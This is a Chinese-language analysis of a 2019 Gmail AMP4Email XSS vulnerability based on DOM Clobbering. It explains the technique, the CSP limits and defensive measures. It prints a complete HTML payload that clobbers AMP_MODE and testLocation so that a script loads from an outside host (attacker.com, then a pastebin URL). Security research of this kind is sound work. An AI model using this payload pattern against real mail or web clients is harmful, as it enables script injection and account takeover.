Gmail XSS漏洞分析
字数 1053 2025-08-26 22:12:01
Gmail XSS漏洞分析:基于DOM Clobbering的攻击技术
漏洞概述
2019年8月发现的Gmail XSS漏洞利用了AMP4Email功能中的DOM Clobbering技术,允许攻击者在特定条件下执行跨站脚本攻击。该漏洞由研究人员提交给Google,展示了动态邮件功能中潜在的安全风险。
AMP4Email简介
AMP4Email(又称动态邮件)是Gmail的一项功能,允许在邮件中显示动态HTML内容。与传统的静态HTML邮件不同,它支持:
- 预订事件
- 填写问卷
- 浏览目录
- 回复评论等交互操作
AMP4Email通过严格的验证器确保安全性,维护了允许的标签和属性的白名单,禁止任意JavaScript代码的执行。
DOM Clobbering技术详解
DOM Clobbering是一种利用HTML元素影响JavaScript行为的攻击技术,其核心原理是:
- 全局命名空间污染:浏览器允许通过
window对象直接访问带有id属性的HTML元素 - 属性覆盖:HTML元素可以覆盖JavaScript对象的现有属性
基本示例
<form id="test1">
<input name="test2">
</form>
<script>
alert(test1.test2); // 显示"[object HTMLInputElement]"
</script>
关键发现
研究人员发现两个特殊元素在toString()方法上有特殊行为:
HTMLAreaElement(<area>)HTMLAnchorElement(<a>)
其中<a>元素的toString()返回的是href属性的值:
<a id="test1" href="https://example.com">
<script>
alert(test1); // 显示"https://example.com"
</script>
漏洞利用链构建
第一步:控制AMP_MODE对象
AMP4Email允许设置id属性,但对某些值如"AMP"有保护,而"AMP_MODE"没有限制:
<a id="AMP_MODE">
<a id="AMP_MODE" name="localDev">
<a id="AMP_MODE" name="test">
第二步:控制URL生成
通过DOM Clobbering控制脚本加载URL:
<a id="testLocation">
<a id="testLocation" name="protocol" href="https://attacker.com#">
完整Payload结构
<!-- 控制AMP_MODE属性 -->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
<!-- 控制URL生成 -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol" href="https://pastebin.com/raw/0tn8z0rG#">
技术限制与绕过
虽然成功构造了XSS攻击链,但受到Gmail内容安全策略(CSP)的限制:
Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
https://cdn.ampproject.org/rtv/
https://cdn.ampproject.org/v0.js
https://cdn.ampproject.org/v0/
研究人员发现了一种潜在的基于目录的CSP绕过方法,但未在报告中详细说明。
防御建议
- 严格限制id属性值:对AMP_MODE等关键变量名进行过滤
- 加强验证器检查:不仅检查标签和属性,还要检查可能的DOM Clobbering组合
- 使用更安全的属性访问方式:避免直接通过window对象访问DOM元素
- 实施深度防御:结合CSP和其他安全头提供多层保护
总结
该漏洞展示了即使有严格验证机制的动态内容功能,也可能因浏览器特性(DOM Clobbering)而存在安全风险。安全开发需要全面考虑各种可能的攻击向量,包括不太常见的攻击技术。